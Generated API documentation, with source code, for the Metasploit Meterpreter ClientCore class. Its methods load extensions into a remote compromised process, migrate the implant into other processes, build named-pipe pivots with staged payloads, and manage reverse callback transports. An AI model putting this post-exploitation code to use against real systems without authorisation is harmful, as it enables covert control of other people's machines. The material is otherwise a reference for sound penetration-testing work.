Class: Rex::Post::Meterpreter::ClientCore

Inherits:
Extension
  • Object
show all
Includes:
Rex::Payloads::Meterpreter::UriChecksum
Defined in:
lib/rex/post/meterpreter/client_core.rb

Overview

This class is responsible for providing the interface to the core client-side meterpreter API which facilitates the loading of extensions and the interaction with channels.

Constant Summary collapse

METERPRETER_TRANSPORT_TCP =
0
METERPRETER_TRANSPORT_HTTP =
1
METERPRETER_TRANSPORT_HTTPS =
2
VALID_TRANSPORTS =
{
    'reverse_tcp'   => METERPRETER_TRANSPORT_TCP,
    'reverse_http'  => METERPRETER_TRANSPORT_HTTP,
    'reverse_https' => METERPRETER_TRANSPORT_HTTPS,
    'bind_tcp'      => METERPRETER_TRANSPORT_TCP
}

Constants included from Rex::Payloads::Meterpreter::UriChecksum

Rex::Payloads::Meterpreter::UriChecksum::URI_CHECKSUM_CONN, Rex::Payloads::Meterpreter::UriChecksum::URI_CHECKSUM_CONN_MAX_LEN, Rex::Payloads::Meterpreter::UriChecksum::URI_CHECKSUM_INITJ, Rex::Payloads::Meterpreter::UriChecksum::URI_CHECKSUM_INITN, Rex::Payloads::Meterpreter::UriChecksum::URI_CHECKSUM_INITP, Rex::Payloads::Meterpreter::UriChecksum::URI_CHECKSUM_INITW, Rex::Payloads::Meterpreter::UriChecksum::URI_CHECKSUM_INIT_CONN, Rex::Payloads::Meterpreter::UriChecksum::URI_CHECKSUM_MIN_LEN, Rex::Payloads::Meterpreter::UriChecksum::URI_CHECKSUM_MODES, Rex::Payloads::Meterpreter::UriChecksum::URI_CHECKSUM_UUID_MIN_LEN

Instance Attribute Summary

Attributes inherited from Extension

#client, #name

Class Method Summary collapse

Instance Method Summary collapse

Methods included from Rex::Payloads::Meterpreter::UriChecksum

#generate_uri_checksum, #generate_uri_uuid, #process_uri_resource, #uri_checksum_lookup

Constructor Details

#initialize(client) ⇒ ClientCore

Initializes the ‘core’ portion of the meterpreter client commands.



49
50
51
# File 'lib/rex/post/meterpreter/client_core.rb', line 49

def initialize(client)
  super(client, 'core')
end

Class Method Details

.extension_idObject



42
43
44
# File 'lib/rex/post/meterpreter/client_core.rb', line 42

def self.extension_id
  EXTENSION_ID_CORE
end

Instance Method Details

#create_named_pipe_pivot(opts) ⇒ Object

create a named pipe pivot



62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
# File 'lib/rex/post/meterpreter/client_core.rb', line 62

def create_named_pipe_pivot(opts)
  request = Packet.create_request(COMMAND_ID_CORE_PIVOT_ADD)
  request.add_tlv(TLV_TYPE_PIVOT_NAMED_PIPE_NAME, opts[:pipe_name])


  c = Class.new(::Msf::Payload)
  c.include(::Msf::Payload::Stager)
  c.include(::Msf::Payload::TransportConfig)

  # Include the appropriate reflective dll injection module for the target process architecture...
  # Used to generate a reflective DLL when migrating. This is yet another
  # argument for moving the meterpreter client into the Msf namespace.
  if opts[:arch] == ARCH_X86
    c.include(::Msf::Payload::Windows::MeterpreterLoader)
  elsif opts[:arch] == ARCH_X64
    c.include(::Msf::Payload::Windows::MeterpreterLoader_x64)
  end

  stage_opts = {
    force_write_handle: true,
    datastore: {
      'PIPEHOST' => opts[:pipe_host],
      'PIPENAME' => opts[:pipe_name]
    }
  }

  stager = c.new()

  stage_opts[:transport_config] = [stager.transport_config_reverse_named_pipe(stage_opts)]
  stage = stager.stage_payload(stage_opts)

  request.add_tlv(TLV_TYPE_PIVOT_STAGE_DATA, stage)

  self.client.send_request(request)
end

#disable_ssl_hash_verifyObject

Disable the SSL certificate has verificate



563
564
565
566
567
568
569
570
571
572
573
# File 'lib/rex/post/meterpreter/client_core.rb', line 563

def disable_ssl_hash_verify
  # Not supported unless we have a socket with SSL enabled
  return nil unless self.client.sock.type? == 'tcp-ssl'

  request = Packet.create_request(COMMAND_ID_CORE_TRANSPORT_SETCERTHASH)

  # send an empty request to disable it
  client.send_request(request)

  return true
end

#enable_ssl_hash_verifyObject

Enable the SSL certificate has verificate



546
547
548
549
550
551
552
553
554
555
556
557
558
# File 'lib/rex/post/meterpreter/client_core.rb', line 546

def enable_ssl_hash_verify
  # Not supported unless we have a socket with SSL enabled
  return nil unless self.client.sock.type? == 'tcp-ssl'

  request = Packet.create_request(COMMAND_ID_CORE_TRANSPORT_SETCERTHASH)

  hash = Rex::Text.sha1_raw(self.client.sock.sslctx.cert.to_der)
  request.add_tlv(TLV_TYPE_TRANS_CERT_HASH, hash)

  client.send_request(request)

  return hash
end

#get_loaded_extension_commands(extension) ⇒ Array<Integer>

Get a list of loaded commands for the given extension.

Parameters:

  • extension (String, Integer)

    Either the extension name or the extension ID to load the commands for.

Returns:

  • (Array<Integer>)

    An array of command IDs that are supported by the specified extension.



104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
# File 'lib/rex/post/meterpreter/client_core.rb', line 104

def get_loaded_extension_commands(extension)
  request = Packet.create_request(COMMAND_ID_CORE_ENUMEXTCMD)

  # handle 'core' as a special case since it's not a typical extension
  extension = EXTENSION_ID_CORE if extension == 'core'
  extension = Rex::Post::Meterpreter::ExtensionMapper.get_extension_id(extension) unless extension.is_a? Integer
  request.add_tlv(TLV_TYPE_UINT,   extension)
  request.add_tlv(TLV_TYPE_LENGTH, COMMAND_ID_RANGE)

  begin
    response = self.client.send_packet_wait_response(request, self.client.response_timeout)
  rescue
    # In the case where orphaned shells call back with OLD copies of the meterpreter
    # binaries, we end up with a case where this fails. So here we just return the
    # empty list of supported commands.
    return []
  end

  # No response?
  if response.nil?
    raise RuntimeError, 'No response was received to the core_enumextcmd request.', caller
  elsif response.result != 0
    # This case happens when the target doesn't support the core_enumextcmd message.
    # If this is the case, then we just want to ignore the error and return an empty
    # list. This will force the caller to load any required modules.
    return []
  end

  commands = []
  response.each(TLV_TYPE_UINT) { |c|
    commands << c.value
  }

  commands
end

#get_session_guid(timeout = nil) ⇒ Object

Get the session GUID from the target session.



424
425
426
427
428
429
430
431
432
433
# File 'lib/rex/post/meterpreter/client_core.rb', line 424

def get_session_guid(timeout=nil)
  request = Packet.create_request(COMMAND_ID_CORE_GET_SESSION_GUID)

  args = [request]
  args << timeout if timeout

  response = client.send_request(*args)

  response.get_tlv_value(TLV_TYPE_SESSION_GUID)
end

#get_ssl_hash_verifyObject

Attempt to get the SSL hash being used for verificaton (if any).

Returns:

  • 20-byte sha1 hash currently being used for verification.



580
581
582
583
584
585
586
587
588
# File 'lib/rex/post/meterpreter/client_core.rb', line 580

def get_ssl_hash_verify
  # Not supported unless we have a socket with SSL enabled
  return nil unless self.client.sock.type? == 'tcp-ssl'

  request = Packet.create_request(COMMAND_ID_CORE_TRANSPORT_GETCERTHASH)
  response = client.send_request(request)

  return response.get_tlv_value(TLV_TYPE_TRANS_CERT_HASH)
end

#load_library(opts) ⇒ Object

Loads a library on the remote meterpreter instance. This method supports loading both extension and non-extension libraries and also supports loading libraries from memory or disk depending on the flags that are specified

Supported flags:

LibraryFilePath The path to the library that is to be loaded

LibraryFileImage Binary object containing the library to be loaded (can be used instead of LibraryFilePath)

TargetFilePath The target library path when uploading

UploadLibrary Indicates whether or not the library should be uploaded

SaveToDisk Indicates whether or not the library should be saved to disk on the remote machine

Extension Indicates whether or not the library is a meterpreter extension



224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
# File 'lib/rex/post/meterpreter/client_core.rb', line 224

def load_library(opts)
  library_path = opts['LibraryFilePath']
  library_image = opts['LibraryFileImage']
  target_path  = opts['TargetFilePath']
  load_flags   = LOAD_LIBRARY_FLAG_LOCAL

  # No library path, no cookie.
  if library_path.nil? && library_image.nil?
    raise ArgumentError, 'No library file path or image was supplied', caller
  end

  # Set up the proper loading flags
  if opts['UploadLibrary']
    load_flags &= ~LOAD_LIBRARY_FLAG_LOCAL
  end
  if opts['SaveToDisk']
    load_flags |= LOAD_LIBRARY_FLAG_ON_DISK
  end
  if opts['Extension']
    load_flags |= LOAD_LIBRARY_FLAG_EXTENSION
  end

  # Create a request packet
  request = Packet.create_request(COMMAND_ID_CORE_LOADLIB)

  # If we must upload the library, do so now
  if (load_flags & LOAD_LIBRARY_FLAG_LOCAL) != LOAD_LIBRARY_FLAG_LOCAL
    if library_image.nil?
      # Caller did not provide the image, load it from the path
      library_image = ''

      ::File.open(library_path, 'rb') { |f|
        library_image = f.read
      }
    end

    if library_image
      request.add_tlv(TLV_TYPE_DATA, library_image, false, client.capabilities[:zlib])
    else
      raise RuntimeError, "Failed to serialize library #{library_path}.", caller
    end

    # If it's an extension we're dealing with, rename the library
    # path of the local and target so that it gets loaded with a random
    # name
    if opts['Extension']
      if client.binary_suffix and client.binary_suffix.size > 1
        /(.*)\.(.*)/.match(library_path)
        suffix = $2
      elsif client.binary_suffix.size == 1
        suffix = client.binary_suffix[0]
      else
        suffix = client.binary_suffix
      end

      library_path = "ext#{rand(1000000)}.#{suffix}"
      target_path  = "/tmp/#{library_path}"
    end
  end

  # Add the base TLVs
  request.add_tlv(TLV_TYPE_LIBRARY_PATH, library_path)
  request.add_tlv(TLV_TYPE_FLAGS, load_flags)

  if !target_path.nil?
    request.add_tlv(TLV_TYPE_TARGET_PATH, target_path)
  end

  # Transmit the request and wait the default timeout seconds for a response
  response = self.client.send_packet_wait_response(request, self.client.response_timeout)

  # No response?
  if response.nil?
    raise RuntimeError, 'No response was received to the core_loadlib request.', caller
  elsif response.result != 0
    raise RuntimeError, "The core_loadlib request failed with result: #{response.result}.", caller
  end

  commands = []
  response.each(TLV_TYPE_UINT) { |c|
    commands << c.value
  }

  commands
end

#machine_id(timeout = nil) ⇒ Object

Get the machine ID from the target session.



438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
# File 'lib/rex/post/meterpreter/client_core.rb', line 438

def machine_id(timeout=nil)
  request = Packet.create_request(COMMAND_ID_CORE_MACHINE_ID)

  args = [request]
  args << timeout if timeout

  response = client.send_request(*args)

  mid = response.get_tlv_value(TLV_TYPE_MACHINE_ID)

  # Normalise the format of the incoming machine id so that it's consistent
  # regardless of case and leading/trailing spaces. This means that the
  # individual meterpreters don't have to care.

  # Note that the machine ID may be blank or nil and that is OK
  Rex::Text.md5(mid.to_s.downcase.strip)
end

#migrate(target_pid, writable_dir = nil, opts = {}) ⇒ Object

Migrates the meterpreter instance to the process specified by pid. The connection to the server remains established.



594
595
596
597
598
599
600
601
602
603
604
605
606
607
608
609
610
611
612
613
614
615
616
617
618
619
620
621
622
623
624
625
626
627
628
629
630
631
632
633
634
635
636
637
638
639
640
641
642
643
644
645
646
647
648
649
650
651
652
653
654
655
656
657
658
659
660
661
662
663
664
665
666
667
668
669
670
671
672
673
674
675
676
677
678
679
680
681
682
683
684
685
686
687
688
689
690
691
692
693
694
695
696
697
698
699
700
701
702
703
704
705
706
707
708
709
710
711
712
713
714
715
716
717
# File 'lib/rex/post/meterpreter/client_core.rb', line 594

def migrate(target_pid, writable_dir = nil, opts = {})
  keepalive              = client.send_keepalives
  client.send_keepalives = false
  target_process         = nil
  current_process        = nil

  # Load in the stdapi extension if not allready present so we can determine the target pid architecture...
  client.core.use('stdapi') if not client.ext.aliases.include?('stdapi')

  current_pid = client.sys.process.getpid

  # Find the current and target process instances
  client.sys.process.processes.each { | p |
    if p['pid'] == target_pid
      target_process = p
    elsif p['pid'] == current_pid
      current_process = p
    end
  }

  # We cant migrate into a process that does not exist.
  unless target_process
    raise RuntimeError, 'Cannot migrate into non existent process', caller
  end

  # We cannot migrate into a process that we are unable to open
  # On linux, arch is empty even if we can access the process
  if client.platform == 'windows'

    if target_process['arch'] == nil || target_process['arch'].empty?
      raise RuntimeError, "Cannot migrate into this process (insufficient privileges)", caller
    end
  end

  # And we also cannot migrate into our own current process...
  if current_process['pid'] == target_process['pid']
    raise RuntimeError, 'Cannot migrate into current process', caller
  end

  migrate_stub = generate_migrate_stub(target_process)
  migrate_payload = generate_migrate_payload(target_process)

  # Build the migration request
  request = Packet.create_request(COMMAND_ID_CORE_MIGRATE)

  request.add_tlv(TLV_TYPE_MIGRATE_PID, target_pid)
  request.add_tlv(TLV_TYPE_MIGRATE_PAYLOAD, migrate_payload, false, client.capabilities[:zlib])
  request.add_tlv(TLV_TYPE_MIGRATE_STUB, migrate_stub, false, client.capabilities[:zlib])

  if target_process['arch'] == ARCH_X64
    request.add_tlv( TLV_TYPE_MIGRATE_ARCH, 2 ) # PROCESS_ARCH_X64

  else
    request.add_tlv( TLV_TYPE_MIGRATE_ARCH, 1 ) # PROCESS_ARCH_X86
  end

  # if we change architecture, we need to change UUID as well
  if current_process['arch'] != target_process['arch']
    client.payload_uuid.arch = target_process['arch']
    request.add_tlv( TLV_TYPE_UUID, client.payload_uuid.to_raw )
  end

  # Send the migration request. Timeout can be specified by the caller, or set to a min
  # of 60 seconds.
  timeout = [(opts[:timeout] || 0), 60].max
  client.send_request(request, timeout)

  # Post-migration the session doesn't have encryption any more.
  # Set the TLV key to nil to make sure that the old key isn't used
  # at all.
  client.tlv_enc_key = nil

  if client.passive_service
    # Sleep for 5 seconds to allow the full handoff, this prevents
    # the original process from stealing our loadlib requests
    ::IO.select(nil, nil, nil, 5.0)
  elsif client.pivot_session.nil?
    # Prevent new commands from being sent while we finish migrating
    client.comm_mutex.synchronize do
      # Disable the socket request monitor
      client.monitor_stop

      ###
      # Now communicating with the new process
      ###

      # only renegotiate SSL if the session had support for it in the
      # first place!
      if client.supports_ssl?
        # If renegotiation takes longer than a minute, it's a pretty
        # good bet that migration failed and the remote side is hung.
        # Since we have the comm_mutex here, we *must* release it to
        # keep from hanging the packet dispatcher thread, which results
        # in blocking the entire process.
        begin
          Timeout.timeout(timeout) do
            # Renegotiate SSL over this socket
            client.swap_sock_ssl_to_plain()
            client.swap_sock_plain_to_ssl()
          end
        rescue ::Timeout::Error
          client.alive = false
          return false
        end
      end

      # Restart the socket monitor
      client.monitor_socket
    end
  end

  # Renegotiate TLV encryption on the migrated session
  secure

  # Load all the extensions that were loaded in the previous instance (using the correct platform/binary_suffix)
  client.ext.aliases.keys.each { |e|
    client.core.use(e)
  }

  # Restore session keep-alives
  client.send_keepalives = keepalive

  return true
end

#native_arch(timeout = nil) ⇒ Object

Get the current native arch from the target session.



459
460
461
462
463
464
465
466
467
468
469
# File 'lib/rex/post/meterpreter/client_core.rb', line 459

def native_arch(timeout=nil)
  # Not all meterpreter implementations support this
  request = Packet.create_request(COMMAND_ID_CORE_NATIVE_ARCH)

  args = [ request ]
  args << timeout if timeout

  response = client.send_request(*args)

  response.get_tlv_value(TLV_TYPE_STRING)
end

#negotiate_tlv_encryption(timeout: client.comm_timeout) ⇒ Object

Negotiates the use of encryption at the TLV level



753
754
755
756
757
758
759
760
761
762
763
764
765
766
767
768
769
770
771
772
773
774
775
776
777
778
779
780
# File 'lib/rex/post/meterpreter/client_core.rb', line 753

def negotiate_tlv_encryption(timeout: client.comm_timeout)
  sym_key = nil
  rsa_key = OpenSSL::PKey::RSA.new(2048)
  rsa_pub_key = rsa_key.public_key

  request  = Packet.create_request(COMMAND_ID_CORE_NEGOTIATE_TLV_ENCRYPTION)
  request.add_tlv(TLV_TYPE_RSA_PUB_KEY, rsa_pub_key.to_der)

  begin
    response = client.send_request(request, timeout)
    key_enc = response.get_tlv_value(TLV_TYPE_ENC_SYM_KEY)
    key_type = response.get_tlv_value(TLV_TYPE_SYM_KEY_TYPE)

    if key_enc
      sym_key = rsa_key.private_decrypt(key_enc, OpenSSL::PKey::RSA::PKCS1_PADDING)
    else
      sym_key = response.get_tlv_value(TLV_TYPE_SYM_KEY)
    end
  rescue OpenSSL::PKey::RSAError, Rex::Post::Meterpreter::RequestError
    # 1) OpenSSL error may be due to padding issues (or something else)
    # 2) Request error probably means the request isn't supported, so fallback to plain
  end

  {
    key:  sym_key,
    type: key_type
  }
end

#secureObject



719
720
721
# File 'lib/rex/post/meterpreter/client_core.rb', line 719

def secure
  client.tlv_enc_key = negotiate_tlv_encryption
end

#set_session_guid(guid) ⇒ Object

Set the session GUID on the target session.



412
413
414
415
416
417
418
419
# File 'lib/rex/post/meterpreter/client_core.rb', line 412

def set_session_guid(guid)
  request = Packet.create_request(COMMAND_ID_CORE_SET_SESSION_GUID)
  request.add_tlv(TLV_TYPE_SESSION_GUID, guid)

  client.send_request(request)

  true
end

#set_transport_timeouts(opts = {}) ⇒ Object

Set associated transport timeouts for the currently active transport.



170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
# File 'lib/rex/post/meterpreter/client_core.rb', line 170

def set_transport_timeouts(opts={})
  request = Packet.create_request(COMMAND_ID_CORE_TRANSPORT_SET_TIMEOUTS)

  if opts[:session_exp]
    request.add_tlv(TLV_TYPE_TRANS_SESSION_EXP, opts[:session_exp])
  end
  if opts[:comm_timeout]
    request.add_tlv(TLV_TYPE_TRANS_COMM_TIMEOUT, opts[:comm_timeout])
  end
  if opts[:retry_total]
    request.add_tlv(TLV_TYPE_TRANS_RETRY_TOTAL, opts[:retry_total])
  end
  if opts[:retry_wait]
    request.add_tlv(TLV_TYPE_TRANS_RETRY_WAIT, opts[:retry_wait])
  end

  response = client.send_request(request)

  {
    :session_exp  => response.get_tlv_value(TLV_TYPE_TRANS_SESSION_EXP),
    :comm_timeout => response.get_tlv_value(TLV_TYPE_TRANS_COMM_TIMEOUT),
    :retry_total  => response.get_tlv_value(TLV_TYPE_TRANS_RETRY_TOTAL),
    :retry_wait   => response.get_tlv_value(TLV_TYPE_TRANS_RETRY_WAIT)
  }
end

#set_uuid(uuid) ⇒ Object

Set the UUID on the target session.



400
401
402
403
404
405
406
407
# File 'lib/rex/post/meterpreter/client_core.rb', line 400

def set_uuid(uuid)
  request = Packet.create_request(COMMAND_ID_CORE_SET_UUID)
  request.add_tlv(TLV_TYPE_UUID, uuid.to_raw)

  client.send_request(request)

  true
end

#shutdownObject

Shuts the session down



726
727
728
729
730
731
732
733
734
735
736
737
738
739
740
# File 'lib/rex/post/meterpreter/client_core.rb', line 726

def shutdown
  request  = Packet.create_request(COMMAND_ID_CORE_SHUTDOWN)

  if client.passive_service
    # If this is a HTTP/HTTPS session we need to wait a few seconds
    # otherwise the session may not receive the command before we
    # kill the handler. This could be improved by the server side
    # sending a reply to shutdown first.
    self.client.send_packet_wait_response(request, 10)
  else
    # If this is a standard TCP session, send and forget.
    self.client.send_packet(request)
  end
  true
end

#transport_add(opts = {}) ⇒ Object

Add a transport to the session based on the provided options.



487
488
489
490
491
492
493
494
495
# File 'lib/rex/post/meterpreter/client_core.rb', line 487

def transport_add(opts={})
  request = transport_prepare_request(COMMAND_ID_CORE_TRANSPORT_ADD, opts)

  return false unless request

  client.send_request(request)

  return true
end

#transport_change(opts = {}) ⇒ Object

Change the currently active transport on the session.



500
501
502
503
504
505
506
507
508
# File 'lib/rex/post/meterpreter/client_core.rb', line 500

def transport_change(opts={})
  request = transport_prepare_request(COMMAND_ID_CORE_TRANSPORT_CHANGE, opts)

  return false unless request

  client.send_request(request)

  return true
end

#transport_listObject



140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
# File 'lib/rex/post/meterpreter/client_core.rb', line 140

def transport_list
  request = Packet.create_request(COMMAND_ID_CORE_TRANSPORT_LIST)
  response = client.send_request(request)

  result = {
    :session_exp => response.get_tlv_value(TLV_TYPE_TRANS_SESSION_EXP),
    :transports  => []
  }

  response.each(TLV_TYPE_TRANS_GROUP) { |t|
    result[:transports] << {
      :url            => t.get_tlv_value(TLV_TYPE_TRANS_URL),
      :comm_timeout   => t.get_tlv_value(TLV_TYPE_TRANS_COMM_TIMEOUT),
      :retry_total    => t.get_tlv_value(TLV_TYPE_TRANS_RETRY_TOTAL),
      :retry_wait     => t.get_tlv_value(TLV_TYPE_TRANS_RETRY_WAIT),
      :ua             => t.get_tlv_value(TLV_TYPE_TRANS_UA),
      :proxy_host     => t.get_tlv_value(TLV_TYPE_TRANS_PROXY_HOST),
      :proxy_user     => t.get_tlv_value(TLV_TYPE_TRANS_PROXY_USER),
      :proxy_pass     => t.get_tlv_value(TLV_TYPE_TRANS_PROXY_PASS),
      :cert_hash      => t.get_tlv_value(TLV_TYPE_TRANS_CERT_HASH),
      :custom_headers => t.get_tlv_value(TLV_TYPE_TRANS_HEADERS)
    }
  }

  result
end

#transport_nextObject

Change the active transport to the next one in the transport list.



528
529
530
531
532
# File 'lib/rex/post/meterpreter/client_core.rb', line 528

def transport_next
  request = Packet.create_request(COMMAND_ID_CORE_TRANSPORT_NEXT)
  client.send_request(request)
  return true
end

#transport_prevObject

Change the active transport to the previous one in the transport list.



537
538
539
540
541
# File 'lib/rex/post/meterpreter/client_core.rb', line 537

def transport_prev
  request = Packet.create_request(COMMAND_ID_CORE_TRANSPORT_PREV)
  client.send_request(request)
  return true
end

#transport_remove(opts = {}) ⇒ Object

Remove a transport from the session based on the provided options.



474
475
476
477
478
479
480
481
482
# File 'lib/rex/post/meterpreter/client_core.rb', line 474

def transport_remove(opts={})
  request = transport_prepare_request(COMMAND_ID_CORE_TRANSPORT_REMOVE, opts)

  return false unless request

  client.send_request(request)

  return true
end

#transport_sleep(seconds) ⇒ Object

Sleep the current session for the given number of seconds.



513
514
515
516
517
518
519
520
521
522
523
# File 'lib/rex/post/meterpreter/client_core.rb', line 513

def transport_sleep(seconds)
  return false if seconds == 0

  request = Packet.create_request(COMMAND_ID_CORE_TRANSPORT_SLEEP)

  # we're reusing the comms timeout setting here instead of
  # creating a whole new TLV value
  request.add_tlv(TLV_TYPE_TRANS_COMM_TIMEOUT, seconds)
  client.send_request(request)
  return true
end

#use(mod, opts = { }) ⇒ true

Loads a meterpreter extension on the remote server instance and initializes the client-side extension handlers.

Parameters:

  • mod (String)

    The extension that should be loaded.

  • opts (Hash) (defaults to: { })

    The options with which to load the extension.

Options Hash (opts):

  • LoadFromDisk (String)

    Indicates that the library should be loaded from disk, not from memory on the remote machine.

Returns:

  • (true)

    This always returns true or raises an exception.

Raises:

  • (RuntimeError)

    An exception is raised if the extension could not be loaded.



323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
# File 'lib/rex/post/meterpreter/client_core.rb', line 323

def use(mod, opts = { })
  if mod.nil?
    raise RuntimeError, "No modules were specified", caller
  end

  modnameprovided = mod
  suffix = nil
  if not client.binary_suffix
    suffix = ''
  elsif client.binary_suffix.size > 1
    client.binary_suffix.each { |s|
      if (mod =~ /(.*)\.#{s}/ )
        mod = $1
        suffix = s
        break
      end
    }
  else
    suffix = client.binary_suffix.first
  end

  # Query the remote instance to see if commands for the extension are
  # already loaded
  commands = get_loaded_extension_commands(mod.downcase)

  # if there are existing commands for the given extension, then we can use
  # what's already there
  unless commands.length > 0
    image = nil
    path = nil
    # If client.sys isn't setup, it's a Windows meterpreter
    if client.respond_to?(:sys) && !client.sys.config.sysinfo['BuildTuple'].blank?
      # Query the payload gem directly for the extension image
      begin
        image = MetasploitPayloads::Mettle.load_extension(client.sys.config.sysinfo['BuildTuple'], mod.downcase, suffix)
      rescue MetasploitPayloads::Mettle::NotFoundError => e
        elog(e)
        image = nil
      end
    else
      # Get us to the installation root and then into data/meterpreter, where
      # the file is expected to be
      modname = "ext_server_#{mod.downcase}"
      path = MetasploitPayloads.meterpreter_path(modname, suffix, debug: client.debug_build)

      if opts['ExtensionPath']
        path = ::File.expand_path(opts['ExtensionPath'])
      end
    end

    if path.nil? and image.nil?
      error = Rex::Post::Meterpreter::ExtensionLoadError.new(name: mod.downcase)
      if Rex::Post::Meterpreter::ExtensionMapper.get_extension_names.include?(mod.downcase)
        raise error, "The \"#{mod.downcase}\" extension is not supported by this Meterpreter type (#{client.session_type})", caller
      else
        raise error, "No module of the name #{modnameprovided} found", caller
      end
    end

    # Load the extension DLL
    commands = load_library(
        'LibraryFilePath'  => path,
        'LibraryFileImage' => image,
        'UploadLibrary'    => true,
        'Extension'        => true,
        'SaveToDisk'       => opts['LoadFromDisk'])
  end

  # wire the commands into the client
  client.add_extension(mod, commands)

  return true
end

#valid_transport?(transport) ⇒ Boolean

Indicates if the given transport is a valid transport option.

Returns:

  • (Boolean)


745
746
747
748
# File 'lib/rex/post/meterpreter/client_core.rb', line 745

def valid_transport?(transport)
  return false if transport.nil?
  VALID_TRANSPORTS.has_key?(transport.downcase)
end